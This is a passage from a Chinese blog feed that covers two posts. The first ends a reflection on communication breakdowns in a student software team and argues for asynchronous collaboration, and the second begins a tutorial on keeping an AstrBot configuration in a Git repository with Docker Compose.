&lt;p&gt;笔者为了追溯这一个功能需求的反复变动，到底经历了什么呢：我把这个群几个月的每天起步几十一百条的聊天记录，翻过去找哪些截图和聊天和这个功能有关，又去翻仓库的 commit message，才追溯到的。&lt;/p&gt;
&lt;p&gt;想象，这样的不稳定的变更，每天有不同的十个“有人@你”，散落在群聊消息里。有的压根没描述清楚你还要进一步问，但你@他发现他也没回，也许他也在燃烧；有的早就已经被提过了，你记得跟他说过为什么现在要做成这样，可你翻不到几个星期之前的聊天记录了；而你同时在赶着现在说要加急开发的功能的 DDL。那就变成地狱了&lt;/p&gt;
&lt;h3 id="场景二进度灾难"&gt;场景二：进度灾难
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;（本节引用段中的内容均来自《人月神话》原文）&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;《人月神话》里这样讲到过：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;不为系统测试安排足够的时间简直就是一场灾难。因为延迟发生在项目快完成的时候。直到项目的发布日期，才有人发现进度上的问题。因此，坏消息没有任何预兆，很晚才出现在客户和项目经理面前。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这本书真的是常看常新，回过头来看 Paramer 的初期开发基本是踩遍了五十多年前人们就踩过的坑。&lt;/p&gt;
&lt;p&gt;作为一个比较天真的后端开发，看到已经有跑通了的 Simflow 原型，认为两星期一个月差不多就能完成代码的初步开发。&lt;/p&gt;
&lt;p&gt;这犯了第一宗罪：编程人员常有的，认为“一切都将运作良好”&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;所以系统编程的进度安排背后的第一个假设是：一切都将运作良好，每一项任务仅花费它所&amp;quot;应该&amp;quot;花费的时间。对这种弥漫在编程人员中的乐观主义，理应受到慎重的分析&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在经过了两周多的 Paramer 开发之后，进度自然明显赶不上了。此前，完全没有做好 Paramer 的需求明确，每天的 Paramer 开发时常要被 Simflow 的 bugfix 和运维任务打断，并且这并不仅仅是一项重构任务，因为我们在重构的基础上，贪婪的为这个版本加上了一些原有功能以外的新功能需求。我们还忽略了测试的时间，直接把开发的时间当做了整个工程时间。&lt;/p&gt;
&lt;p&gt;那么进度延后之后，有哪些选择呢？从项目经理的角度来说，直觉上会出现三个选择：增添人手，删减任务，重新安排进度。&lt;/p&gt;
&lt;p&gt;根据 Brooks 法则，向进度落后的项目中增加人手，只会使进度更加落后。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在现实情况中，一旦开发团队观察到进度的偏差，总是倾向于对任务进行削减。当项目延期所导致的后续成本非常高时，这常常是唯一可行的方法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;而由于初入团队，仍然身为学生的编程人员自然不敢对于自己预先预估出的已有的验收日期提出修改。而团队的项目经理当时又是一个完全缺失的状态，毫无进度监督可言。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;None love the bearer of bad news.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这犯了第二宗罪：&lt;/p&gt;
&lt;p&gt;本应当是随时可见的项目进度，在老板那里会变成隔十几天才能看到一次进展。最后会演变成一种更加糟糕的情况：不仅删减任务，还重新安排进度。&lt;/p&gt;
&lt;p&gt;插一句，实际上就连验收时间都是一个没被统一的量：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/paramer/2/image-2.png"
width="488"
height="890"
srcset="https://v3n0.com/post/paramer/2/image-2_hu_87409931515b6be8.png 480w, https://v3n0.com/post/paramer/2/image-2_hu_4fe8e6773b79c003.png 1024w"
loading="lazy"
alt="到底是 21 还是 24"
class="gallery-image"
data-flex-grow="54"
data-flex-basis="131px"
&gt;&lt;/p&gt;
&lt;p&gt;然而最终是 21 号验收了一次。&lt;/p&gt;
&lt;p&gt;需要注意的是，本篇我更希望关注的并不是进度为什么估算错了，而是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;为什么没人知道进度已经错了&lt;/strong&gt;？&lt;/p&gt;
&lt;p&gt;这两个问题完全不一样。前者是关于项目进度监督、风险暴露机制以及项目经理在其中应承担的职责，我会在后续专门讨论。&lt;/p&gt;
&lt;p&gt;本篇我更想讨论的问题是，本应当是随时可见的项目进度，在老板那里会变成隔十几天才能看到一次进展。项目延期并不可怕，甚至对我们这种预研性质初期项目，不痛不痒，可怕的是项目已经延期两周了，而负责推进的人还不知道。&lt;/p&gt;
&lt;p&gt;有趣的是，无论是需求变更，还是进度失控。它们最终都指向同一个问题：信息没有被正确地传递。随着团队人数增长，这个问题变得越来越严重。&lt;/p&gt;
&lt;h3 id="场景三信息只存在于人的脑子里"&gt;场景三：信息只存在于人的脑子里
&lt;/h3&gt;&lt;p&gt;再举个接口交接的案例。谷子哥，Cachelize，是我们当时的一个前端。为了做参数优化的图形化显示，他需要优化器后端提供一些新的接口，给一份接口文档。但他催接口催了十天。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/paramer/2/image-3.png"
width="500"
height="934"
srcset="https://v3n0.com/post/paramer/2/image-3_hu_527ae54783be0c28.png 480w, https://v3n0.com/post/paramer/2/image-3_hu_5c993a6747a2d667.png 1024w"
loading="lazy"
alt="24 日提出接口需求"
class="gallery-image"
data-flex-grow="53"
data-flex-basis="128px"
&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/paramer/2/image-4.png"
width="404"
height="154"
srcset="https://v3n0.com/post/paramer/2/image-4_hu_c14e978ea2a34b04.png 480w, https://v3n0.com/post/paramer/2/image-4_hu_34d94afc06a386c9.png 1024w"
loading="lazy"
alt="次月 4 日才看到接口文档"
class="gallery-image"
data-flex-grow="262"
data-flex-basis="629px"
&gt;&lt;/p&gt;
&lt;p&gt;在 Paramer 的团队中，我之前一直以为我们缺少的是人手。但后来发现，很多时候缺少的不是人，而是信息。&lt;/p&gt;
&lt;p&gt;代码在仓库里不等于别人知道怎么调用，配置在服务器里不等于别人知道怎么部署，知识在脑子里不等于团队拥有知识。重要信息如果只存在于人的脑子里，那么组织就无法交接。&lt;/p&gt;
&lt;p&gt;真正的问题并不是这个接口文档需要按什么时间给，真正的问题是整个团队默认了一种工作方式：信息保存在人身上，而不是保存在组织。于是所有的问题都会变成，等某人有空之后尽快回复我。&lt;/p&gt;
&lt;h2 id="再多的群聊装不下膨胀的消息"&gt;再多的群聊装不下膨胀的消息
&lt;/h2&gt;&lt;p&gt;随着组织规模扩大到十几人，每天的群聊消息达到了几百条甚至上千条，于是提议按工作组分群聊天。&lt;/p&gt;
&lt;p&gt;可以从群头像看到大家美丽的精神状态&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/paramer/2/image.png"
width="464"
height="586"
srcset="https://v3n0.com/post/paramer/2/image_hu_e92781d8f28e9f7d.png 480w, https://v3n0.com/post/paramer/2/image_hu_ec8d6506424bd865.png 1024w"
loading="lazy"
alt="我活到头了.jpg"
class="gallery-image"
data-flex-grow="79"
data-flex-basis="190px"
&gt;&lt;/p&gt;
&lt;p&gt;但是分群真的能解决问题吗？&lt;/p&gt;
&lt;p&gt;其实稍微多想一层都不会认为这是个可拓展的模式。现在觉得消息太多，于是分了个这些群。那逐渐扩张，是否还会再从某一个群继续分裂，需求讨论群，测试群，临时问题群，On Call 群。。。&lt;/p&gt;
&lt;p&gt;似乎每一次遇到沟通问题，第一反应都是，再建一个群。&lt;/p&gt;
&lt;p&gt;于是现在甚至连需求都做不到同步了。EDA 群在用 Paramer 的时候，发现了问题，在 EDA 群里提了个可能的需求。Paramer 的开发人员在 Paramer 群里讨论了实现方案，运维在运维群里等着部署环境，此刻算法群里沉浸式讨论数学。&lt;/p&gt;
&lt;p&gt;到最后，需求改没改，接口定没定，环境配没配，谁也不知道。因为信息已经散落在不同群聊里。&lt;/p&gt;
&lt;p&gt;分群什么都没做到，我们只是把一个信息黑洞，拆成了四个信息黑洞。&lt;/p&gt;
&lt;h2 id="异步的团队同步的沟通"&gt;异步的团队，同步的沟通
&lt;/h2&gt;&lt;p&gt;再回头看看上面这三个失败案例，实际上应当这样总结：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;场景一：需求信息丢失&lt;/li&gt;
&lt;li&gt;场景二：进度信息丢失&lt;/li&gt;
&lt;li&gt;场景三：知识信息丢失&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;开篇说到一个多月我没有继续参与 Paramer 的开发工作。最终我看到这样的一个事情：一个用于确定需求的只需要十分钟的三个人参与就行的线上会议，三天没开下来。期间不是 A 不在线就是 B 不在线，等到终于看到消息，或者我终于想起来 @ 两边问问他们开没开过会，已经是第二天。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/paramer/2/image-5.png"
width="1030"
height="810"
srcset="https://v3n0.com/post/paramer/2/image-5_hu_ed148493f8d7cde2.png 480w, https://v3n0.com/post/paramer/2/image-5_hu_8fb018b895c10681.png 1024w"
loading="lazy"
alt="经审计实则是三天"
class="gallery-image"
data-flex-grow="127"
data-flex-basis="305px"
&gt;&lt;/p&gt;
&lt;p&gt;这次之后，我把团队里从上到下全拉出来批斗了一番。但其实也只是指出了哪些地方很明显不对劲，还没有找到问题本质。&lt;/p&gt;
&lt;p&gt;先前我也参与过协作节奏控制的非常好的一个西安的团队，看上去各种项目的推进速度一点都不慢，工作强度感觉却比 Paramer 这个项目轻不少。有朋友说，他们的工作模式已经非常大厂了。但效率高，又真的是因为大家坐在同一个办公室里吗？&lt;/p&gt;
&lt;p&gt;如果是这样，只不过是把我们的群聊，变成了人腿从一个工位跑到另一个工位，变成了语音频道交流。确实保证两边都在线了，效率又到底能提高多少呢？要知道，音频是极其低效的信息传递信道。&lt;/p&gt;
&lt;p&gt;问题到底出在哪里，这得从我们的团队形式说起。&lt;/p&gt;
&lt;p&gt;我们团队的主要成员都是学生，同一时间，有人能有空，有人得上课，有人作息不在一个时区。天然不可能朝九晚五。就算再怎么要求 On Call，考试，签到，实验课验收，体育课，总不能不去吧。&lt;/p&gt;
&lt;p&gt;从组织形态上来说，我们早就已经是一个异步团队了。然而我们的沟通方式，却是一个同步的形式。&lt;/p&gt;
&lt;p&gt;接触到的这个西安团队协作模式，在我经历了 Paramer 的磨难之后，给了我非常大的震撼，深深感叹他们工作流的规范程度。但当时仅仅停留在他们文档做的多，飞书用的多，任务面板维护的多，PR 写的细，等等的现象上面，没有思考过这些行为的本质。现在这番对比，才意识到，真正的区别在于信息传递的同步还是异步。&lt;/p&gt;
&lt;p&gt;什么是同步和异步？&lt;/p&gt;
&lt;p&gt;并不能因为这个词从编程到了团队管理就变得不认识。从编程的角度看，其实就是两种调用模型。同步沟通很像阻塞调用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;发起请求 → 等对方返回 → 才能继续下一步
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;而异步沟通更像消息队列 + 回调 + 事件驱动：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;发起请求 → 把信息写入任务队列 → 自己继续做别的事
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;上面主要体现的是一个是否阻塞的问题。另一个问题是，同步沟通往往伴随着缺乏各种信息的单一事实来源。&lt;/p&gt;
&lt;p&gt;比如同一个需求，在没有单一事实来源的情况下会变成这样：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A 说：“这个接口是按状态排序”&lt;/li&gt;
&lt;li&gt;B 在群里补一句：“其实客户更想按 ID”&lt;/li&gt;
&lt;li&gt;C 过两天口头确认：“先按 Running 在前吧”&lt;/li&gt;
&lt;li&gt;D 写代码的时候看到的是：“按 Completed 优先”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最终结果是，没有一个地方记录最终到底是什么，只有一堆彼此冲突的局部记忆。&lt;/p&gt;
&lt;p&gt;而在有单一事实来源的情况下，信息查询的唯一入口：Issue / PRD / 文档&lt;/p&gt;
&lt;p&gt;任何人，甚至不是人而是 Agent，随时都可以看到最新版本是什么，而不是：“你记得我们上次怎么说的吗？”&lt;/p&gt;
&lt;p&gt;同样的问题可以发生在其他的地方，比如进度管理等，不再赘述。&lt;/p&gt;
&lt;p&gt;然而，在同步沟通的环境下，大家明知道沟通非常累，却反而更加不愿意维护这样的单一事实来源，这并不是做不到这件事。&lt;/p&gt;
&lt;p&gt;在群聊 + 临时会议的模式下，@ 一个人，改一句话比改文档快，于是信息会不断回流到看起来更省事的群聊，而不是维护到文档，或是任务面板。同步沟通系统默认奖励快速响应，惩罚结构化沉淀，最终形成恶性的螺旋。&lt;/p&gt;
&lt;h2 id="异步协作"&gt;异步协作
&lt;/h2&gt;&lt;p&gt;当我意识到真正的问题在于缺乏异步沟通协作之后，去网上搜索，才认识到原来已有不少早就规模化应用异步协作的大型团队。&lt;/p&gt;
&lt;p&gt;我特别喜欢 GitLab 这个例子。他们的员工遍布全球 60 多个时区，却能在同一个团队里协作。他们维护了 &lt;a class="link" href="https://handbook.gitlab.com/handbook/" target="_blank" rel="noopener"
&gt;The GitLab Handbook&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;具体的异步协作好处，以及具体落实的方式，我已无心赘述，各种先例远比我在博客里说的要多要全。如果你完全没了解过，希望初步了解关于异步协作的部分，直接看这一章节：&lt;a class="link" href="https://handbook.gitlab.com/handbook/company/culture/all-remote/asynchronous/" target="_blank" rel="noopener"
&gt;How to embrace asynchronous communication for remote work&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过，我最喜欢的还是那一句话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The easiest way to take on an asynchronous mindset is to ask this question: “How would I deliver this message, present this work, or move this project forward right now if no one else on my team (or in my company) were awake?&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;</description></item><item><title>[过时]从零开始搭建一个 Git 管理的 AstrBot 配置仓库</title><link>https://v3n0.com/post/2026/astrbot-git-managed-config/</link><pubDate>Thu, 28 May 2026 17:21:56 +0800</pubDate><guid>https://v3n0.com/post/2026/astrbot-git-managed-config/</guid><description>&lt;p&gt;2026.7.12 编辑：&lt;/p&gt;
&lt;p&gt;使用体验是，Astrbot 的 Agent 能力相当差劲，不适合作为团队共用的 Agent。并且实际上想把它做成配置式的应用也相当麻烦。除非仅作为学习探索目的，否则不建议实际使用。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;最近想把 AstrBot 当成一个长期可维护的团队机器人入口：后续它要接飞书、Gitea、沙箱、&lt;code&gt;lark-cli&lt;/code&gt;、&lt;code&gt;tea&lt;/code&gt;、自定义插件和 Skills。如果这些东西都只堆在某台机器的 &lt;code&gt;data/&lt;/code&gt; 目录里，迟早会变成不可复现的手工状态。&lt;/p&gt;
&lt;p&gt;所以第一步不是立刻做复杂自动化，而是先从 0 开始做一个可以被 Git 管理的 AstrBot 配置项目。本文先记录最小版本：创建独立仓库，用 Docker Compose 跑通 AstrBot WebUI，并明确哪些文件应该进 Git，哪些运行态文件应该忽略。&lt;/p&gt;
&lt;h2 id="目标"&gt;目标
&lt;/h2&gt;&lt;p&gt;我希望最终得到这样的结构：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;astrbot-config/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; compose.yml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; .env.example
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; .gitignore
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; README.md
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cmd_config.json
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; mcp_server.json
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; config/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; plugins/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; skills/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ops/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里的重点是：&lt;code&gt;data/&lt;/code&gt; 不是整体入库，而是只把可复现、可审查的配置放进 Git。&lt;/p&gt;
&lt;p&gt;应该进入 Git 的内容包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;data/cmd_config.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/config/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/plugins/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/skills/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/mcp_server.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;自己维护的插件、Skills、配置模板&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不应该进入 Git 的内容包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.env&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/dist/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/dashboard.zip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/*.db&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/knowledge_base/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/temp/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/workspaces/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/attachments/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/site-packages/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="初始化项目"&gt;初始化项目
&lt;/h2&gt;&lt;p&gt;新项目放在：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/home/veno/Projects/astrbot-config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;先创建目录和 Git 仓库：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ~/Projects
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir astrbot-config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; astrbot-config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git init
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git branch -m main
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;目录骨架：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir -p data/config data/plugins data/skills ops
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;touch data/.gitkeep &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data/config/.gitkeep &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data/plugins/.gitkeep &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data/skills/.gitkeep &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ops/.gitkeep
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="docker-compose"&gt;Docker Compose
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;compose.yml&lt;/code&gt; 使用官方镜像：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;astrbot&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${ASTRBOT_IMAGE:-soulter/astrbot:latest}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;container_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${ASTRBOT_CONTAINER_NAME:-astrbot-config}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;restart&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;unless-stopped&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;security_opt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="kc"&gt;no&lt;/span&gt;-&lt;span class="l"&gt;new-privileges:true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s2"&gt;&amp;#34;${ASTRBOT_WEB_PORT:-6185}:6185&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s2"&gt;&amp;#34;${ASTRBOT_ONEBOT_PORT:-6199}:6199&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
